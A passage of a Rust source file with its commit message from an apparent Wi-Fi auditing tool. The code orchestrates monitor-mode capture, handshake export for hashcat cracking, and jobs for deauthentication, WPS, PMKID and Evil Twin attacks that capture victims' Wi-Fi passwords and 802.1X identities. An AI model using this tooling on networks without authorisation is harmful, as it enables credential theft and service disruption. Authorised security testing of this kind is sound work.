- engine.rs: expõe Evil Twin (PSK/Enterprise), crack com regras/máscara,
relatório e exportação .hc22000 pros três front-ends (CLI, servidor web
da UI, Tauri). set_monitor() agora solta a interface do NetworkManager
antes de ativar modo monitor e devolve ao desativar — sem isso o NM
reafirma a própria conexão por cima e a captura cai sozinha pouco
depois ("está em modo managed"). Evil Twin grava um arquivo de estado
em disco antes de soltar as interfaces; se o processo morrer no meio
(Ctrl+C sem handler, kill -9, queda de energia), o próximo início do
engine desfaz tudo sozinho (self_heal_eviltwin_leftovers) — sem isso as
duas interfaces ficavam presas em managed=no pro NetworkManager pra
sempre e o Wi-Fi inteiro sumia do painel do sistema. hostapd/hostapd-wpe
que morrem na hora de subir agora reportam a saída real capturada em
log, em vez de um processo "<defunct>" mudo. Novo
ScanSnapshot.warning: avisa quando a sessão roda >12s sem receber
nenhum quadro — sintoma de placa que aceita ativar modo monitor sem
entregar captura de verdade (comum em Wi-Fi interno de notebook).
- sabia-cli (main.rs/web/mod.rs) e o app desktop (Tauri main.rs) ganham
as rotas/comandos equivalentes pra tudo isso.
3477 lines
125 KiB
Rust
3477 lines
125 KiB
Rust
//! Ponte única entre o núcleo e as duas interfaces (servidor local da CLI e
|
|
//! o app desktop Tauri): ambos chamam exatamente os mesmos métodos, então
|
|
//! qualquer coisa que funcione em um funciona idêntico no outro.
|
|
//!
|
|
//! Sessões de captura, jobs de quebra, exportação de handshakes e deauth
|
|
//! ficam todos aqui — a CLI e a GUI não reimplementam nada.
|
|
|
|
use crate::audit::AuditLog;
|
|
use crate::crack::{self, CrackReport};
|
|
use crate::doctor::{self, DoctorReport};
|
|
use crate::error::{Result, SabiaError};
|
|
use crate::handshake::Handshake;
|
|
#[cfg(target_os = "linux")]
|
|
use crate::iface::Mode;
|
|
use crate::iface::{self, Interface};
|
|
use crate::netlink::{self, ChannelInfo};
|
|
use crate::pcapreader::PcapReader;
|
|
use crate::pcapwriter::PcapWriter;
|
|
use crate::scan::{AccessPoint, Client, ScanSnapshot, ScanTable};
|
|
use crate::update::{self, UpdateStatus};
|
|
use serde::{Deserialize, Serialize};
|
|
use std::collections::HashMap;
|
|
use std::path::{Path, PathBuf};
|
|
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
|
use std::sync::{Arc, Mutex};
|
|
#[cfg(any(target_os = "linux", test))]
|
|
use std::time::{Duration, Instant};
|
|
use std::time::{SystemTime, UNIX_EPOCH};
|
|
|
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
|
pub struct ScanOptions {
|
|
/// Canal fixo; sem ele, percorre os canais suportados.
|
|
pub channel: Option<u32>,
|
|
/// `2.4`, `5`, `6` ou `all` (usado quando `channel` é `None`).
|
|
pub band: Option<String>,
|
|
/// Tempo em cada canal ao pular.
|
|
pub hop_ms: u64,
|
|
/// Salva os quadros capturados neste `.pcap`.
|
|
pub pcap_out: Option<PathBuf>,
|
|
/// Encerra sozinho depois de N segundos.
|
|
pub duration_secs: Option<u64>,
|
|
}
|
|
|
|
impl Default for ScanOptions {
|
|
fn default() -> Self {
|
|
Self {
|
|
channel: None,
|
|
band: None,
|
|
hop_ms: 350,
|
|
pcap_out: None,
|
|
duration_secs: None,
|
|
}
|
|
}
|
|
}
|
|
|
|
#[derive(Debug, Clone, Serialize)]
|
|
pub struct SessionInfo {
|
|
pub iface: String,
|
|
pub running: bool,
|
|
pub channel: Option<u32>,
|
|
pub channels: Vec<u32>,
|
|
pub frames: u64,
|
|
pub aps: usize,
|
|
pub clients: usize,
|
|
pub handshakes: usize,
|
|
pub started_unix: u64,
|
|
pub pcap_out: Option<String>,
|
|
pub error: Option<String>,
|
|
}
|
|
|
|
#[derive(Debug, Clone, Serialize)]
|
|
pub struct CrackJobInfo {
|
|
pub id: String,
|
|
pub iface: String,
|
|
pub bssid: Option<String>,
|
|
pub station: Option<String>,
|
|
pub status: String,
|
|
pub tried: u64,
|
|
pub started_unix: u64,
|
|
pub finished_unix: Option<u64>,
|
|
pub report: Option<CrackReport>,
|
|
pub error: Option<String>,
|
|
}
|
|
|
|
#[derive(Debug, Clone, Serialize)]
|
|
pub struct ExportReport {
|
|
pub path: String,
|
|
pub frames: usize,
|
|
pub handshakes: usize,
|
|
}
|
|
|
|
#[derive(Debug, Clone, Serialize)]
|
|
pub struct WpsJobInfo {
|
|
pub id: String,
|
|
pub iface: String,
|
|
pub bssid: String,
|
|
pub tool: String,
|
|
pub status: String,
|
|
pub pin: Option<String>,
|
|
pub password: Option<String>,
|
|
pub output: Vec<String>,
|
|
pub error: Option<String>,
|
|
pub started_unix: u64,
|
|
pub finished_unix: Option<u64>,
|
|
pub pid: Option<u32>,
|
|
}
|
|
|
|
#[derive(Debug, Clone, Serialize)]
|
|
pub struct EvilTwinJobInfo {
|
|
pub id: String,
|
|
/// Interface que captura/desautentica o AP real.
|
|
pub iface: String,
|
|
/// Interface que hospeda o clone (precisa ser outra, em modo AP).
|
|
pub ap_iface: String,
|
|
pub ssid: String,
|
|
pub bssid: String,
|
|
pub portal_port: u16,
|
|
pub status: String,
|
|
/// Quantas vezes alguém submeteu uma senha no portal.
|
|
pub attempts: u32,
|
|
/// Última tentativa: "correct", "wrong" ou "invalid".
|
|
pub last_attempt: Option<String>,
|
|
/// Só preenchido quando alguém digita a senha certa — conferida de
|
|
/// verdade contra o handshake, não é só o que foi digitado.
|
|
pub password: Option<String>,
|
|
pub deauth_job: Option<String>,
|
|
pub error: Option<String>,
|
|
pub started_unix: u64,
|
|
pub finished_unix: Option<u64>,
|
|
#[serde(skip)]
|
|
pub hostapd_pid: Option<u32>,
|
|
#[serde(skip)]
|
|
pub dnsmasq_pid: Option<u32>,
|
|
#[serde(skip)]
|
|
pub stop: Option<Arc<AtomicBool>>,
|
|
}
|
|
|
|
/// Evil Twin pra redes WPA2/WPA3-Enterprise (802.1X) — ver
|
|
/// `eviltwin_enterprise.rs`. Diferente do `EvilTwinJobInfo` (PSK), não tem
|
|
/// portal/senha: a credencial é capturada automaticamente pelo próprio
|
|
/// handshake EAP, por isso o job só expõe quantas identidades já apareceram
|
|
/// no log do hostapd-wpe e o caminho do arquivo pra quebra offline.
|
|
#[derive(Debug, Clone, Serialize)]
|
|
pub struct EnterpriseTwinJobInfo {
|
|
pub id: String,
|
|
pub iface: String,
|
|
pub ap_iface: String,
|
|
pub ssid: String,
|
|
pub bssid: String,
|
|
pub status: String,
|
|
pub captured: u32,
|
|
pub last_identity: Option<String>,
|
|
pub log_path: String,
|
|
pub error: Option<String>,
|
|
pub started_unix: u64,
|
|
pub finished_unix: Option<u64>,
|
|
#[serde(skip)]
|
|
pub hostapd_pid: Option<u32>,
|
|
}
|
|
|
|
#[derive(Debug, Clone, Serialize)]
|
|
pub struct PmkidReport {
|
|
pub iface: String,
|
|
pub bssid: String,
|
|
pub ssid: Option<String>,
|
|
pub station: String,
|
|
pub frames_sent: usize,
|
|
pub pmkid: Option<String>,
|
|
pub handshakes: usize,
|
|
pub detail: String,
|
|
}
|
|
|
|
#[derive(Debug, Clone, Serialize)]
|
|
pub struct PmfReport {
|
|
pub iface: String,
|
|
pub bssid: String,
|
|
pub station: String,
|
|
pub frames_sent: usize,
|
|
pub reconnected: bool,
|
|
pub packets_before: u64,
|
|
pub packets_after: u64,
|
|
pub verdict: String,
|
|
pub detail: String,
|
|
}
|
|
|
|
#[derive(Debug, Clone, Serialize)]
|
|
pub struct HashcatReport {
|
|
pub path: String,
|
|
pub hashes: usize,
|
|
pub handshakes: usize,
|
|
}
|
|
|
|
#[derive(Debug, Clone, Serialize)]
|
|
pub struct DeauthReport {
|
|
pub iface: String,
|
|
pub bssid: String,
|
|
pub station: String,
|
|
pub reason: u16,
|
|
pub frames_sent: usize,
|
|
pub direction: String,
|
|
pub frame_kind: String,
|
|
}
|
|
|
|
#[derive(Debug, Clone, Serialize)]
|
|
pub struct DeauthJobInfo {
|
|
pub id: String,
|
|
pub iface: String,
|
|
pub bssid: String,
|
|
pub station: Option<String>,
|
|
pub reason: u16,
|
|
pub direction: String,
|
|
pub frame_kind: String,
|
|
pub interval_ms: u64,
|
|
pub max_secs: Option<u64>,
|
|
pub frames_sent: usize,
|
|
pub channel: Option<u32>,
|
|
pub stop_on_handshake: bool,
|
|
pub handshake: bool,
|
|
pub status: String,
|
|
pub error: Option<String>,
|
|
pub started_unix: u64,
|
|
pub finished_unix: Option<u64>,
|
|
}
|
|
|
|
struct DeauthJob {
|
|
info: Arc<Mutex<DeauthJobInfo>>,
|
|
stop: Arc<AtomicBool>,
|
|
handle: Option<std::thread::JoinHandle<()>>,
|
|
locked_channel: Option<u32>,
|
|
}
|
|
|
|
struct Session {
|
|
table: Arc<Mutex<ScanTable>>,
|
|
running: Arc<AtomicBool>,
|
|
channel: Arc<Mutex<Option<u32>>>,
|
|
locked_channel: Arc<Mutex<Option<u32>>>,
|
|
channels: Vec<u32>,
|
|
started_unix: u64,
|
|
pcap_out: Option<PathBuf>,
|
|
error: Arc<Mutex<Option<String>>>,
|
|
handle: Option<std::thread::JoinHandle<()>>,
|
|
}
|
|
|
|
pub struct Engine {
|
|
sessions: Mutex<HashMap<String, Session>>,
|
|
jobs: Mutex<HashMap<String, Arc<Mutex<CrackJobInfo>>>>,
|
|
job_seq: AtomicU64,
|
|
deauth_jobs: Mutex<HashMap<String, DeauthJob>>,
|
|
deauth_seq: AtomicU64,
|
|
wps_jobs: Mutex<HashMap<String, Arc<Mutex<WpsJobInfo>>>>,
|
|
wps_seq: AtomicU64,
|
|
eviltwin_jobs: Mutex<HashMap<String, Arc<Mutex<EvilTwinJobInfo>>>>,
|
|
eviltwin_seq: AtomicU64,
|
|
enterprise_twin_jobs: Mutex<HashMap<String, Arc<Mutex<EnterpriseTwinJobInfo>>>>,
|
|
enterprise_twin_seq: AtomicU64,
|
|
audit_path: PathBuf,
|
|
audit_lock: Arc<Mutex<()>>,
|
|
}
|
|
|
|
impl Default for Engine {
|
|
fn default() -> Self {
|
|
Self::new()
|
|
}
|
|
}
|
|
|
|
impl Engine {
|
|
pub fn new() -> Self {
|
|
Self::with_audit_path(PathBuf::from(".sabia-audit.log"))
|
|
}
|
|
|
|
pub fn with_audit_path(path: impl Into<PathBuf>) -> Self {
|
|
#[cfg(target_os = "linux")]
|
|
self_heal_eviltwin_leftovers();
|
|
Self {
|
|
sessions: Mutex::new(HashMap::new()),
|
|
jobs: Mutex::new(HashMap::new()),
|
|
job_seq: AtomicU64::new(0),
|
|
deauth_jobs: Mutex::new(HashMap::new()),
|
|
deauth_seq: AtomicU64::new(0),
|
|
wps_jobs: Mutex::new(HashMap::new()),
|
|
wps_seq: AtomicU64::new(0),
|
|
eviltwin_jobs: Mutex::new(HashMap::new()),
|
|
eviltwin_seq: AtomicU64::new(0),
|
|
enterprise_twin_jobs: Mutex::new(HashMap::new()),
|
|
enterprise_twin_seq: AtomicU64::new(0),
|
|
audit_path: path.into(),
|
|
audit_lock: Arc::new(Mutex::new(())),
|
|
}
|
|
}
|
|
|
|
pub fn version(&self) -> &'static str {
|
|
env!("CARGO_PKG_VERSION")
|
|
}
|
|
|
|
pub fn audit_path(&self) -> &Path {
|
|
&self.audit_path
|
|
}
|
|
|
|
/// Chamado pelo handler de SIGINT/SIGTERM do processo que hospeda o
|
|
/// engine (CLI/Tauri) antes de sair. Faz sincronamente o que a thread
|
|
/// de limpeza do Evil Twin faria no fim normal do job: mata
|
|
/// hostapd/dnsmasq, desfaz o iptables e devolve as interfaces pro
|
|
/// NetworkManager — sem isso o processo morre com as duas interfaces
|
|
/// presas em `managed no` e o Wi-Fi some do painel do sistema até o
|
|
/// próximo início do engine rodar `self_heal_eviltwin_leftovers`.
|
|
#[cfg(target_os = "linux")]
|
|
pub fn shutdown_cleanup(&self) {
|
|
use std::process::Command;
|
|
let jobs: Vec<_> = self
|
|
.eviltwin_jobs
|
|
.lock()
|
|
.unwrap()
|
|
.values()
|
|
.cloned()
|
|
.collect();
|
|
for job in jobs {
|
|
let guard = job.lock().unwrap();
|
|
if guard.status != "running" {
|
|
continue;
|
|
}
|
|
if let Some(pid) = guard.hostapd_pid {
|
|
unsafe { libc::kill(pid as i32, libc::SIGTERM) };
|
|
}
|
|
if let Some(pid) = guard.dnsmasq_pid {
|
|
unsafe { libc::kill(pid as i32, libc::SIGTERM) };
|
|
}
|
|
for rule in crate::eviltwin::iptables_cleanup_rules(&guard.ap_iface, guard.portal_port)
|
|
{
|
|
let _ = Command::new("iptables").args(&rule).status();
|
|
}
|
|
let _ = Command::new("nmcli")
|
|
.args(["device", "set", &guard.ap_iface, "managed", "yes"])
|
|
.status();
|
|
let _ = Command::new("nmcli")
|
|
.args(["device", "set", &guard.iface, "managed", "yes"])
|
|
.status();
|
|
}
|
|
let enterprise_jobs: Vec<_> = self
|
|
.enterprise_twin_jobs
|
|
.lock()
|
|
.unwrap()
|
|
.values()
|
|
.cloned()
|
|
.collect();
|
|
for job in enterprise_jobs {
|
|
let guard = job.lock().unwrap();
|
|
if guard.status != "running" {
|
|
continue;
|
|
}
|
|
if let Some(pid) = guard.hostapd_pid {
|
|
unsafe { libc::kill(pid as i32, libc::SIGTERM) };
|
|
}
|
|
let _ = Command::new("nmcli")
|
|
.args(["device", "set", &guard.ap_iface, "managed", "yes"])
|
|
.status();
|
|
let _ = Command::new("nmcli")
|
|
.args(["device", "set", &guard.iface, "managed", "yes"])
|
|
.status();
|
|
}
|
|
}
|
|
|
|
#[cfg(not(target_os = "linux"))]
|
|
pub fn shutdown_cleanup(&self) {}
|
|
|
|
pub fn list_ifaces(&self) -> Result<Vec<Interface>> {
|
|
iface::list_wireless()
|
|
}
|
|
|
|
pub fn doctor(&self) -> DoctorReport {
|
|
doctor::diagnose(self.version(), &self.audit_path)
|
|
}
|
|
|
|
pub fn set_monitor(&self, name: &str, enable: bool) -> Result<()> {
|
|
iface::get(name)?;
|
|
if !enable {
|
|
self.stop_scan(name);
|
|
}
|
|
// Visto ao vivo: com a interface ainda sob o NetworkManager, ele
|
|
// reage ao modo monitor como uma desconexão e reconecta a interface
|
|
// de volta em managed — às vezes rápido o bastante pra já estar
|
|
// gerenciada nem dez segundos depois do botão "ativar modo monitor"
|
|
// mostrar sucesso, e a captura falha com "está em modo managed"
|
|
// mesmo a UI dizendo que deu certo. Solta/devolve a interface pro NM
|
|
// antes/depois de trocar o modo (best-effort: segue sem nmcli).
|
|
if enable {
|
|
let _ = std::process::Command::new("nmcli")
|
|
.args(["device", "set", name, "managed", "no"])
|
|
.status();
|
|
}
|
|
let result = netlink::set_monitor_mode(name, enable);
|
|
if !enable && result.is_ok() {
|
|
let _ = std::process::Command::new("nmcli")
|
|
.args(["device", "set", name, "managed", "yes"])
|
|
.status();
|
|
}
|
|
result?;
|
|
self.log(
|
|
"monitor_mode",
|
|
name,
|
|
serde_json::json!({ "enable": enable }),
|
|
);
|
|
Ok(())
|
|
}
|
|
|
|
pub fn channels(&self, name: &str) -> Result<Vec<ChannelInfo>> {
|
|
netlink::channels(name)
|
|
}
|
|
|
|
pub fn set_channel(&self, name: &str, channel: u32) -> Result<()> {
|
|
netlink::set_channel(name, channel)?;
|
|
if let Some(session) = self.sessions.lock().unwrap().get(name) {
|
|
*session.channel.lock().unwrap() = Some(channel);
|
|
}
|
|
self.log(
|
|
"set_channel",
|
|
name,
|
|
serde_json::json!({ "channel": channel }),
|
|
);
|
|
Ok(())
|
|
}
|
|
|
|
/// Trava a captura em um canal (ou volta a pular canais com `None`).
|
|
/// Usado por deauth, PMKID e WPS para não perder o alvo enquanto o
|
|
/// ataque está em andamento.
|
|
pub fn lock_channel(&self, name: &str, channel: Option<u32>) -> Result<()> {
|
|
if let Some(channel) = channel {
|
|
netlink::set_channel(name, channel)?;
|
|
}
|
|
if let Some(session) = self.sessions.lock().unwrap().get(name) {
|
|
*session.locked_channel.lock().unwrap() = channel;
|
|
if let Some(channel) = channel {
|
|
*session.channel.lock().unwrap() = Some(channel);
|
|
}
|
|
}
|
|
self.log(
|
|
"lock_channel",
|
|
name,
|
|
serde_json::json!({ "channel": channel }),
|
|
);
|
|
Ok(())
|
|
}
|
|
|
|
pub fn start_scan(&self, name: &str) -> Result<()> {
|
|
self.start_scan_with(name, ScanOptions::default())
|
|
}
|
|
|
|
#[cfg(target_os = "linux")]
|
|
pub fn start_scan_with(&self, name: &str, options: ScanOptions) -> Result<()> {
|
|
use crate::capture::RawCapture;
|
|
|
|
let info = iface::get(name)?;
|
|
if info.mode == Mode::Managed {
|
|
return Err(SabiaError::InvalidInput(format!(
|
|
"{name} está em modo managed; ative o modo monitor antes de capturar"
|
|
)));
|
|
}
|
|
|
|
let cap = RawCapture::open(name)?;
|
|
cap.set_read_timeout(Duration::from_millis(200))?;
|
|
|
|
let writer = match options.pcap_out.as_ref() {
|
|
Some(path) => Some(PcapWriter::create(path)?),
|
|
None => None,
|
|
};
|
|
|
|
let channels = match options.channel {
|
|
Some(channel) => vec![channel],
|
|
None => netlink::channel_plan(name, options.band.as_deref()).unwrap_or_default(),
|
|
};
|
|
let hop = Duration::from_millis(options.hop_ms.clamp(100, 5_000));
|
|
|
|
// Substitui uma sessão anterior (se houver) só depois que a nova
|
|
// captura abriu, para não derrubar a antiga se algo falhar.
|
|
self.stop_scan(name);
|
|
|
|
let table = Arc::new(Mutex::new(ScanTable::new()));
|
|
let running = Arc::new(AtomicBool::new(true));
|
|
let channel = Arc::new(Mutex::new(None));
|
|
let locked_channel = Arc::new(Mutex::new(None));
|
|
let error = Arc::new(Mutex::new(None));
|
|
let started_unix = unix_now();
|
|
let pcap_out = options.pcap_out.clone();
|
|
|
|
let t = table.clone();
|
|
let r = running.clone();
|
|
let ch = channel.clone();
|
|
let lock = locked_channel.clone();
|
|
let err_slot = error.clone();
|
|
let iface_name = name.to_string();
|
|
let audit_path = self.audit_path.clone();
|
|
let audit_lock = self.audit_lock.clone();
|
|
let deadline = options
|
|
.duration_secs
|
|
.map(|secs| Instant::now() + Duration::from_secs(secs.max(1)));
|
|
|
|
let thread_channels = channels.clone();
|
|
let handle = std::thread::spawn(move || {
|
|
let channels = thread_channels;
|
|
let mut writer = writer;
|
|
let mut idx = 0usize;
|
|
let mut tuned = None;
|
|
let mut last_hop = Instant::now();
|
|
let mut buf = [0u8; 65535];
|
|
|
|
if !channels.is_empty() {
|
|
let first = channels[0];
|
|
if netlink::set_channel(&iface_name, first).is_ok() {
|
|
tuned = Some(first);
|
|
*ch.lock().unwrap() = Some(first);
|
|
}
|
|
}
|
|
|
|
while r.load(Ordering::SeqCst) {
|
|
if deadline.is_some_and(|d| Instant::now() >= d) {
|
|
break;
|
|
}
|
|
let locked = *lock.lock().unwrap();
|
|
if let Some(target) = locked {
|
|
if tuned != Some(target) && netlink::set_channel(&iface_name, target).is_ok() {
|
|
tuned = Some(target);
|
|
*ch.lock().unwrap() = Some(target);
|
|
}
|
|
} else if channels.len() > 1 && last_hop.elapsed() >= hop {
|
|
idx = (idx + 1) % channels.len();
|
|
let next = channels[idx];
|
|
if netlink::set_channel(&iface_name, next).is_ok() {
|
|
tuned = Some(next);
|
|
*ch.lock().unwrap() = Some(next);
|
|
}
|
|
last_hop = Instant::now();
|
|
}
|
|
|
|
match cap.recv(&mut buf) {
|
|
Ok(Some(n)) => {
|
|
let frame = &buf[..n];
|
|
t.lock().unwrap().ingest(frame);
|
|
if let Some(w) = writer.as_mut() {
|
|
if let Err(e) = w.write_frame(frame) {
|
|
*err_slot.lock().unwrap() = Some(e.to_string());
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
Ok(None) => {}
|
|
Err(e) => {
|
|
*err_slot.lock().unwrap() = Some(e.to_string());
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
if let Some(w) = writer.as_mut() {
|
|
let _ = w.flush();
|
|
}
|
|
r.store(false, Ordering::SeqCst);
|
|
|
|
let stats = t.lock().unwrap().stats();
|
|
append_audit(
|
|
&audit_path,
|
|
&audit_lock,
|
|
"scan_stop",
|
|
&iface_name,
|
|
&serde_json::json!({
|
|
"aps": stats.aps,
|
|
"clients": stats.clients,
|
|
"handshakes": stats.handshakes,
|
|
"frames": stats.frames,
|
|
}),
|
|
);
|
|
});
|
|
|
|
self.sessions.lock().unwrap().insert(
|
|
name.to_string(),
|
|
Session {
|
|
table,
|
|
running,
|
|
channel,
|
|
locked_channel,
|
|
channels,
|
|
started_unix,
|
|
pcap_out,
|
|
error,
|
|
handle: Some(handle),
|
|
},
|
|
);
|
|
|
|
self.log(
|
|
"scan_start",
|
|
name,
|
|
serde_json::json!({ "options": options }),
|
|
);
|
|
Ok(())
|
|
}
|
|
|
|
#[cfg(not(target_os = "linux"))]
|
|
pub fn start_scan_with(&self, _name: &str, _options: ScanOptions) -> Result<()> {
|
|
Err(SabiaError::UnsupportedPlatform)
|
|
}
|
|
|
|
pub fn stop_scan(&self, name: &str) {
|
|
let _ = self.stop_deauth_for_iface(name);
|
|
let handle = {
|
|
let mut sessions = self.sessions.lock().unwrap();
|
|
match sessions.get_mut(name) {
|
|
Some(session) => {
|
|
session.running.store(false, Ordering::SeqCst);
|
|
session.handle.take()
|
|
}
|
|
None => None,
|
|
}
|
|
};
|
|
if let Some(handle) = handle {
|
|
let _ = handle.join();
|
|
}
|
|
}
|
|
|
|
pub fn list_sessions(&self) -> Vec<SessionInfo> {
|
|
let sessions = self.sessions.lock().unwrap();
|
|
let mut out: Vec<SessionInfo> = sessions
|
|
.iter()
|
|
.map(|(name, session)| {
|
|
let stats = session.table.lock().unwrap().stats();
|
|
SessionInfo {
|
|
iface: name.clone(),
|
|
running: session.running.load(Ordering::SeqCst),
|
|
channel: *session.channel.lock().unwrap(),
|
|
channels: session.channels.clone(),
|
|
frames: stats.frames,
|
|
aps: stats.aps,
|
|
clients: stats.clients,
|
|
handshakes: stats.handshakes,
|
|
started_unix: session.started_unix,
|
|
pcap_out: session.pcap_out.as_ref().map(|p| p.display().to_string()),
|
|
error: session.error.lock().unwrap().clone(),
|
|
}
|
|
})
|
|
.collect();
|
|
out.sort_by(|a, b| a.iface.cmp(&b.iface));
|
|
out
|
|
}
|
|
|
|
pub fn scan_snapshot(&self, name: &str) -> Result<ScanSnapshot> {
|
|
let sessions = self.sessions.lock().unwrap();
|
|
let session = sessions.get(name).ok_or_else(|| {
|
|
SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}"))
|
|
})?;
|
|
let table = session.table.lock().unwrap();
|
|
let analysis = table.analysis();
|
|
let stats = table.stats();
|
|
let running = session.running.load(Ordering::SeqCst);
|
|
// Uma placa pode aceitar o netlink de "modo monitor" (nenhum erro
|
|
// na hora de ativar) e ainda assim nunca entregar um quadro de
|
|
// verdade pro socket de captura — comum em Wi-Fi interna de
|
|
// notebook, cujo firmware ignora o pedido de modo promíscuo. 12s
|
|
// dão tempo de sobra pra visitar bastante canal (a cada 350ms) sem
|
|
// achar nem um beacon, o que nunca acontece de verdade num ambiente
|
|
// com Wi-Fi ao redor — é sinal de que a placa não está entregando
|
|
// quadro nenhum, não que o ar está vazio.
|
|
let warning = if running
|
|
&& stats.frames == 0
|
|
&& unix_now().saturating_sub(session.started_unix) >= 12
|
|
{
|
|
Some(
|
|
"Nenhum quadro recebido depois de alguns segundos saltando canais — esta placa pode aceitar ativar o modo monitor sem conseguir capturar de verdade (comum em Wi-Fi interna de notebook). Tente um adaptador USB dedicado a modo monitor/injeção."
|
|
.to_string(),
|
|
)
|
|
} else {
|
|
None
|
|
};
|
|
let snapshot = ScanSnapshot {
|
|
iface: name.to_string(),
|
|
running,
|
|
channel: *session.channel.lock().unwrap(),
|
|
stats,
|
|
access_points: table.access_points(),
|
|
clients: table.clients(),
|
|
handshakes: table.handshakes(),
|
|
analysis,
|
|
error: session.error.lock().unwrap().clone(),
|
|
warning,
|
|
};
|
|
drop(table);
|
|
drop(sessions);
|
|
Ok(snapshot)
|
|
}
|
|
|
|
/// Compatibilidade com a API antiga: só os APs da sessão.
|
|
pub fn scan_results(&self, name: &str) -> Vec<AccessPoint> {
|
|
self.sessions
|
|
.lock()
|
|
.unwrap()
|
|
.get(name)
|
|
.map(|s| s.table.lock().unwrap().access_points())
|
|
.unwrap_or_default()
|
|
}
|
|
|
|
pub fn scan_clients(&self, name: &str) -> Vec<Client> {
|
|
self.sessions
|
|
.lock()
|
|
.unwrap()
|
|
.get(name)
|
|
.map(|s| s.table.lock().unwrap().clients())
|
|
.unwrap_or_default()
|
|
}
|
|
|
|
/// Analisa um `.pcap` offline e devolve o mesmo snapshot da captura ao
|
|
/// vivo (sem sessão e sem tocar no rádio).
|
|
pub fn analyze_pcap(&self, path: impl AsRef<Path>) -> Result<ScanSnapshot> {
|
|
let path = path.as_ref();
|
|
let mut reader = PcapReader::open(path)?;
|
|
if !reader.supports_80211() {
|
|
return Err(SabiaError::InvalidPcap(
|
|
"link-type não é 802.11 nem radiotap".into(),
|
|
));
|
|
}
|
|
let mut table = ScanTable::new();
|
|
while let Some(frame) = reader.next_frame()? {
|
|
table.ingest(&frame.data);
|
|
}
|
|
let analysis = table.analysis();
|
|
Ok(ScanSnapshot {
|
|
iface: path.display().to_string(),
|
|
running: false,
|
|
channel: None,
|
|
stats: table.stats(),
|
|
access_points: table.access_points(),
|
|
clients: table.clients(),
|
|
handshakes: table.handshakes(),
|
|
analysis,
|
|
error: None,
|
|
warning: None,
|
|
})
|
|
}
|
|
|
|
/// Modelo completo do relatório: snapshot atual + trilha de auditoria.
|
|
/// A interface renderiza com Paged.js; a mesma estrutura vira HTML
|
|
/// standalone no servidor local.
|
|
pub fn report(&self, name: &str) -> Result<crate::report::ReportModel> {
|
|
let snapshot = self.scan_snapshot(name)?;
|
|
let audit = self.audit_entries(Some(60)).unwrap_or_default();
|
|
Ok(crate::report::ReportModel {
|
|
title: format!("Auditoria Wi-Fi · {name}"),
|
|
version: self.version().to_string(),
|
|
iface: snapshot.iface,
|
|
running: snapshot.running,
|
|
generated_unix: unix_now(),
|
|
stats: snapshot.stats,
|
|
access_points: snapshot.access_points,
|
|
clients: snapshot.clients,
|
|
handshakes: snapshot.handshakes,
|
|
analysis: snapshot.analysis,
|
|
audit,
|
|
})
|
|
}
|
|
|
|
pub fn handshakes(&self, name: Option<&str>) -> Vec<crate::handshake::HandshakeInfo> {
|
|
let sessions = self.sessions.lock().unwrap();
|
|
let mut out = Vec::new();
|
|
for (iface_name, session) in sessions.iter() {
|
|
if name.is_some_and(|want| want != iface_name) {
|
|
continue;
|
|
}
|
|
out.extend(session.table.lock().unwrap().handshakes());
|
|
}
|
|
out.sort_by_key(|h| std::cmp::Reverse(h.last_seen_unix));
|
|
out
|
|
}
|
|
|
|
pub fn export_handshake(
|
|
&self,
|
|
name: &str,
|
|
bssid: &str,
|
|
station: &str,
|
|
out: impl AsRef<Path>,
|
|
) -> Result<ExportReport> {
|
|
let hs = self
|
|
.session_handshake(name, bssid, station)?
|
|
.ok_or_else(|| SabiaError::InvalidInput("handshake não encontrado".into()))?;
|
|
let frames = hs.raw_frames();
|
|
if frames.is_empty() {
|
|
return Err(SabiaError::InvalidInput(
|
|
"handshake sem quadros crus (captura antiga)".into(),
|
|
));
|
|
}
|
|
let path = out.as_ref();
|
|
let mut writer = PcapWriter::create(path)?;
|
|
for frame in &frames {
|
|
writer.write_frame(frame)?;
|
|
}
|
|
writer.flush()?;
|
|
self.log(
|
|
"export_handshake",
|
|
name,
|
|
serde_json::json!({ "bssid": bssid, "station": station, "path": path, "frames": frames.len() }),
|
|
);
|
|
Ok(ExportReport {
|
|
path: path.display().to_string(),
|
|
frames: frames.len(),
|
|
handshakes: 1,
|
|
})
|
|
}
|
|
|
|
pub fn export_all_handshakes(&self, name: &str, out: impl AsRef<Path>) -> Result<ExportReport> {
|
|
let entries = {
|
|
let sessions = self.sessions.lock().unwrap();
|
|
let session = sessions.get(name).ok_or_else(|| {
|
|
SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}"))
|
|
})?;
|
|
let entries = session.table.lock().unwrap().handshake_entries();
|
|
entries
|
|
};
|
|
let path = out.as_ref();
|
|
let mut writer = PcapWriter::create(path)?;
|
|
let mut frames = 0usize;
|
|
let mut handshakes = 0usize;
|
|
for hs in &entries {
|
|
let raw = hs.raw_frames();
|
|
if raw.is_empty() {
|
|
continue;
|
|
}
|
|
for frame in &raw {
|
|
writer.write_frame(frame)?;
|
|
frames += 1;
|
|
}
|
|
handshakes += 1;
|
|
}
|
|
writer.flush()?;
|
|
if handshakes == 0 {
|
|
return Err(SabiaError::InvalidInput(
|
|
"nenhum handshake com quadros crus para exportar".into(),
|
|
));
|
|
}
|
|
self.log(
|
|
"export_handshakes",
|
|
name,
|
|
serde_json::json!({ "path": path, "frames": frames, "handshakes": handshakes }),
|
|
);
|
|
Ok(ExportReport {
|
|
path: path.display().to_string(),
|
|
frames,
|
|
handshakes,
|
|
})
|
|
}
|
|
|
|
pub fn export_hc22000(
|
|
&self,
|
|
name: &str,
|
|
bssid: &str,
|
|
station: &str,
|
|
out: impl AsRef<Path>,
|
|
) -> Result<HashcatReport> {
|
|
let hs = self
|
|
.session_handshake(name, bssid, station)?
|
|
.ok_or_else(|| SabiaError::InvalidInput("handshake não encontrado".into()))?;
|
|
let lines = crate::hashcat::export([&hs]);
|
|
if lines.is_empty() {
|
|
return Err(SabiaError::InvalidInput(
|
|
"handshake sem SSID, PMKID ou mensagem 2 para exportar".into(),
|
|
));
|
|
}
|
|
let path = out.as_ref();
|
|
std::fs::write(path, format!("{}\n", lines.join("\n")))?;
|
|
self.log(
|
|
"export_hc22000",
|
|
name,
|
|
serde_json::json!({ "bssid": bssid, "station": station, "path": path, "hashes": lines.len() }),
|
|
);
|
|
Ok(HashcatReport {
|
|
path: path.display().to_string(),
|
|
